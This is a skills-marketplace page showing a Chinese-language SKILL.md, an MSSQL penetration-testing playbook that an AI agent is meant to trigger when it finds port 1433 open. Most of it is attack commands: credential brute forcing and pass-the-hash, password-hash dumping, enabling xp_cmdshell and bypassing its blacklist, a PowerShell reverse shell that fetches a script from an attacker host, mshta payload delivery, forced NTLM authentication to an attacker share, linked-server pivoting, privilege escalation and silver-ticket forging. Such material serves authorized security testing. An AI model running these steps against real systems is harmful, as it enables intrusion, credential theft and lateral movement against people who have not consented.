Skip to main content

mssql-pentesting

MSSQL 数据库服务(1433 端口)渗透测试方法论。涵盖 MSSQL 服务发现、默认凭据测试、数据库枚举、xp_cmdshell 命令执行、链接服务器利用、权限提升、NTLM 哈希窃取、已知漏洞利用。 当 Agent 扫描发现 1433 端口开放、需要测试 MSSQL 认证、通过 xp_cmdshell 执行命令、或利用链接服务器横向移动时,触发此 Skill。

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
October 15, 2026 at 06:58
Detected SKILL.md language
Chinese
Stars
1,807
Forks
250

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
3 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
mssql-pentesting
description
MSSQL 数据库服务(1433 端口)渗透测试方法论。涵盖 MSSQL 服务发现、默认凭据测试、数据库枚举、xp_cmdshell 命令执行、链接服务器利用、权限提升、NTLM 哈希窃取、已知漏洞利用。 当 Agent 扫描发现 1433 端口开放、需要测试 MSSQL 认证、通过 xp_cmdshell 执行命令、或利用链接服务器横向移动时,触发此 Skill。
metadata
{"tags":"mssql,数据库,1433端口,xp_cmdshell,链接服务器,impacket,sqsh","category":"exploit"}
# MSSQL 渗透测试方法论 (1433) ## 深入参考 - xp_cmdshell 启用/绕过、登录哈希与凭据对象、链接服务器枚举与利用、权限提升 SQL、NTLM 窃取技术、Silver Ticket 伪造 -> 读 [references/mssql-techniques.md](references/mssql-techniques.md) - SPN 发现、权限模拟提权链、跨域 Linked Server 利用、OLE/Agent Job/Proxy/External Scripts 替代执行、NTLM 窃取中继 -> 读 [references/mssql-exploitation.md](references/mssql-exploitation.md) --- ## 整体决策树 ``` 发现 1433 端口开放 ├─ Phase 1: 服务发现 │ ├─ Nmap 脚本探测版本与配置 │ ├─ 确定实例名称 (默认 MSSQLSERVER / 命名实例) │ └─ 判断环境类型 │ ├─ 本地部署 -> 完整攻击面 (OS 命令执行、提权) │ └─ DBaaS (Azure SQL / RDS) -> 无 xp_cmdshell,侧重数据层 ├─ Phase 2: 认证测试 │ ├─ 空密码 sa 账户 / 默认凭据 │ ├─ 密码爆破 (hydra / nxc / MSSQLPwner) │ └─ Windows 认证 (Pass-the-Hash / Kerberos) ├─ Phase 3: 数据库枚举 │ ├─ 版本、用户、权限、数据库列表 │ ├─ 敏感数据搜索 │ └─ 密码哈希提取 ├─ Phase 4: xp_cmdshell 命令执行 │ ├─ 检查/启用 xp_cmdshell │ ├─ 执行 OS 命令 │ └─ 替代方法 (OLE / Python / CLR / Agent Job) ├─ Phase 5: 链接服务器利用 │ ├─ 枚举链接服务器 │ ├─ 通过链接执行远程查询/命令 │ └─ 链接服务器密码提取 ├─ Phase 6: 权限提升 │ ├─ db_owner + TRUSTWORTHY -> sysadmin │ ├─ IMPERSONATE 权限利用 │ └─ 本地提权 (SeImpersonatePrivilege -> Potato) └─ Phase 7: NTLM 哈希窃取 ├─ xp_dirtree / xp_subdirs / xp_fileexist 强制认证 ├─ Responder / impacket-smbserver 捕获哈希 └─ Silver Ticket 伪造 (捕获服务账户哈希后) ``` --- ## Phase 1: 服务发现 ### 1.1 端口与版本探测 ```bash # Nmap MSSQL 全脚本扫描 nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP> # Metasploit 实例发现 msf> use auxiliary/scanner/mssql/mssql_ping ``` ### 1.2 环境判断 ``` MSSQL 环境类型 ├─ 本地部署 / VM │ ├─ 完整攻击面: xp_cmdshell、文件读写、注册表、提权 │ └─ 继续 Phase 2-7 全流程 └─ DBaaS (Azure SQL / AWS RDS / GCP Cloud SQL) ├─ 无 xp_cmdshell、无 TRUSTWORTHY ├─ 侧重: SQL 注入逻辑、IAM 配置错误、数据导出 └─ 跳过 Phase 4/6 中的 OS 相关攻击 ``` --- ## Phase 2: 认证测试 ### 2.1 认证方式决策树 ``` MSSQL 认证测试 ├─ 1) 空密码 sa 测试 │ ├─ nmap --script ms-sql-empty-password -p 1433 <IP> │ └─ nxc mssql <IP> -u sa -p '' ├─ 2) 默认/常见凭据 │ ├─ sa:sa, sa:password, sa:Password1, sa:P@ssw0rd │ └─ nxc mssql <IP> -u sa -p passwords.txt ├─ 3) 密码爆破 (注意锁定策略!) │ ├─ hydra -t 4 -l sa -P wordlist.txt <IP> mssql │ └─ MSSQLPwner: mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt ├─ 4) Windows 域认证 │ ├─ mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASS>@<IP> │ └─ nxc mssql <IP> -u <USER> -p <PASS> -d <DOMAIN> └─ 5) Pass-the-Hash └─ nxc mssql <IP> -u <USER> -H <NTHASH> -d <DOMAIN> ``` ### 2.2 客户端连接工具 ```bash # Impacket mssqlclient.py mssqlclient.py [-db volume] <DOMAIN>/<USER>:<PASS>@<IP> mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USER>:<PASS>@<IP> # sqsh sqsh -S <IP> -U <Username> -P <Password> -D <Database> sqsh -S <IP> -U .\<Username> -P <Password> -D <Database> # 本地认证 ``` --- ## Phase 3: 数据库枚举 ### 3.1 基本信息收集 ```sql -- 版本信息 SELECT @@version; -- 当前用户 SELECT user_name(); SELECT SYSTEM_USER; -- 是否 sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); -- 数据库列表 SELECT name FROM master.dbo.sysdatabases; -- 表列表 SELECT * FROM <db>.INFORMATION_SCHEMA.TABLES; -- 用户与登录 SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash, sp.create_date, sp.modify_date, CASE WHEN sp.is_disabled = 1 THEN 'Disabled' ELSE 'Enabled' END AS status FROM sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id WHERE sp.type NOT IN ('G', 'R') ORDER BY sp.name; ``` ### 3.2 权限枚举 ```sql -- 当前用户服务器级权限 SELECT * FROM fn_my_permissions(NULL, 'SERVER'); -- 当前用户数据库级权限 USE <database> SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); -- sysadmin 角色成员 EXEC sp_helpsrvrolemember 'sysadmin'; -- 谁能执行 xp_cmdshell EXEC sp_helprotect 'xp_cmdshell'; ``` ### 3.3 密码哈希提取 ```sql -- 获取登录哈希 (需要 sysadmin 或 CONTROL SERVER) SELECT * FROM master.sys.syslogins; ``` ### 3.4 RID 爆破枚举域用户 ```bash # 通过 MSSQL 爆破域 RID 枚举用户 nxc mssql <IP> --local-auth -u <user> -p '<pass>' --rid-brute 5000 nxc mssql <IP> -u <DOMAIN>\\<user> -p '<pass>' --rid-brute 10000 ``` -> 读 references/mssql-techniques.md 获取完整枚举查询 --- ## Phase 4: xp_cmdshell 命令执行 ### 4.1 xp_cmdshell 决策树 ``` 检查命令执行能力 ├─ 1) 直接尝试 xp_cmdshell │ ├─ EXEC master..xp_cmdshell 'whoami' │ ├─ 成功 -> 执行命令 │ └─ 失败 -> 尝试启用 ├─ 2) 启用 xp_cmdshell (需 sysadmin) │ ├─ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; │ ├─ EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; │ └─ 再次执行 EXEC master..xp_cmdshell 'whoami' ├─ 3) xp_cmdshell 被黑名单过滤 -> 变量绕过 │ └─ DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami' ├─ 4) xp_cmdshell 不可用 -> 替代方法 │ ├─ OLE Automation (sp_OACreate + sp_OAMethod) │ ├─ Python/R 脚本 (sp_execute_external_script) │ ├─ CLR Assembly (.NET DLL 加载) │ ├─ SQL Agent Job │ └─ autoadmin_task_agents (远程 DLL 加载) └─ 5) 反弹 Shell └─ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER>:8000/rev.ps1") | powershell -noprofile' ``` ### 4.2 通过 nxc 远程执行 ```bash # CMD 命令 nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -x "whoami" # PowerShell 命令 nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -X '$PSVersionTable' ``` ### 4.3 MSSQLPwner 命令执行 ```bash # 直接执行 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth exec hostname # 通过链接服务器执行 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname # sp_oacreate 方法 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://<ATTACKER>/malicious.hta" -command-execution-method sp_oacreate # 自定义 CLR Assembly mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname ``` -> 读 references/mssql-techniques.md 获取 OLE / Python / CLR / Agent Job 详细方法 --- ## Phase 5: 链接服务器利用 ### 5.1 链接服务器枚举与利用决策树 ``` 已获得 MSSQL 访问 ├─ 枚举链接服务器 │ ├─ EXEC sp_linkedservers │ ├─ SELECT * FROM sys.servers │ └─ MSSQLPwner: enum_links ├─ 发现链接 │ ├─ 检查链接上的权限 │ │ ├─ 链接以 sa 运行 -> 完全控制远程实例 │ │ └─ 低权限 -> 枚举远程数据 │ ├─ 通过链接执行查询 │ │ ├─ SELECT * FROM OPENQUERY([LINKED_SRV], 'SELECT @@version') │ │ └─ EXEC ('SELECT @@version') AT [LINKED_SRV] │ ├─ 通过链接启用 xp_cmdshell │ │ └─ EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [LINKED_SRV] │ └─ 链接链跳跃 (A -> B -> C) │ └─ Metasploit: exploit/windows/mssql/mssql_linkcrawler └─ 提取链接服务器密码 ├─ 需要本地管理员权限 ├─ 启用 DAC (-T7806 启动参数) └─ -> 读 references/mssql-techniques.md #链接服务器密码提取 ``` --- ## Phase 6: 权限提升 ### 6.1 权限提升决策树 ``` 当前非 sysadmin ├─ 检查 db_owner + TRUSTWORTHY │ ├─ 查找 TRUSTWORTHY 数据库 │ │ SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases a │ │ INNER JOIN sys.databases b ON a.name=b.name │ ├─ 确认当前用户是否 db_owner │ │ USE <db>; SELECT rp.name, mp.name FROM sys.database_role_members drm │ │ JOIN sys.database_principals rp ON drm.role_principal_id=rp.principal_id │ │ JOIN sys.database_principals mp ON drm.member_principal_id=mp.principal_id │ ├─ 是 db_owner + TRUSTWORTHY -> 创建存储过程提权 │ │ └─ CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS │ │ EXEC sp_addsrvrolemember '<user>','sysadmin' │ └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_dbowner ├─ 检查 IMPERSONATE 权限 │ ├─ SELECT b.name FROM sys.server_permissions a │ │ INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id │ │ WHERE a.permission_name='IMPERSONATE' │ ├─ 可模拟 sa -> EXECUTE AS LOGIN = 'sa' │ └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_execute_as └─ 已获 sysadmin + OS Shell └─ SeImpersonatePrivilege -> Potato 系列提权 ├─ RoguePotato ├─ PrintSpoofer └─ JuicyPotato / GodPotato ``` -> 读 references/mssql-techniques.md 获取完整提权 SQL 语句 --- ## Phase 7: NTLM 哈希窃取 ### 7.1 NTLM 窃取决策树 ``` 已获得 MSSQL 查询执行权限 ├─ 启动监听 │ ├─ sudo responder -I tun0 │ └─ sudo impacket-smbserver share ./ -smb2support ├─ 触发 SMB 认证 (强制目标连接攻击者) │ ├─ xp_dirtree '\\<ATTACKER>\any\thing' │ ├─ EXEC master.dbo.xp_dirtree '\\<ATTACKER>\any\thing' │ ├─ EXEC master..xp_subdirs '\\<ATTACKER>\anything\' │ ├─ EXEC master..xp_fileexist '\\<ATTACKER>\anything\' │ └─ MSSQLPwner: mssqlpwner <creds>@<IP> ntlm-relay <ATTACKER> ├─ 捕获 NetNTLMv2 哈希 │ └─ 离线破解: hashcat -m 5600 hash.txt wordlist.txt └─ Silver Ticket 攻击 (进阶) ├─ 从捕获的哈希恢复服务账户密码 ├─ 计算 NTLM 哈希 ├─ 获取域 SID + 特权组 RID ├─ ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOM> \ │ -spn MSSQLSvc/<fqdn>:1433 -groups <RID> <user> └─ KRB5CCNAME=<user>.ccache mssqlclient.py -no-pass -k <fqdn> ``` ### 7.2 权限检查 ```sql -- 检查哪些用户可执行 UNC 路径函数 EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist'; ``` --- ## 文件读写操作 ### 读取文件 ```sql -- OPENROWSET 读取文件 (需 ADMINISTER BULK OPERATIONS 权限) SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents -- 检查权限 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` ### 写入文件 ``` 文件写入 (需管理员权限) ├─ 启用 OLE Automation Procedures │ sp_configure 'show advanced options', 1; RECONFIGURE; │ sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; └─ 通过 sp_OACreate 创建文件 └─ -> 读 references/mssql-techniques.md #文件写入 ``` --- ## 注册表操作 ```sql -- 读取注册表 (需 sysadmin) EXEC master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; -- 检查权限 EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` --- ## Metasploit 模块速查 ``` MSSQL Metasploit 模块 ├─ 发现: auxiliary/scanner/mssql/mssql_ping ├─ 枚举 │ ├─ admin/mssql/mssql_enum │ ├─ admin/mssql/mssql_enum_domain_accounts │ ├─ admin/mssql/mssql_enum_sql_logins │ ├─ auxiliary/scanner/mssql/mssql_hashdump │ └─ auxiliary/scanner/mssql/mssql_schemadump ├─ 提权 │ ├─ admin/mssql/mssql_escalate_dbowner │ ├─ admin/mssql/mssql_escalate_execute_as │ └─ exploit/windows/mssql/mssql_linkcrawler ├─ 命令执行 │ ├─ admin/mssql/mssql_exec │ └─ exploit/windows/mssql/mssql_payload ├─ NTLM 窃取: auxiliary/admin/mssql/mssql_ntlm_stealer └─ 本地认证绕过: windows/manage/mssql_local_auth_bypass ```
View on GitHub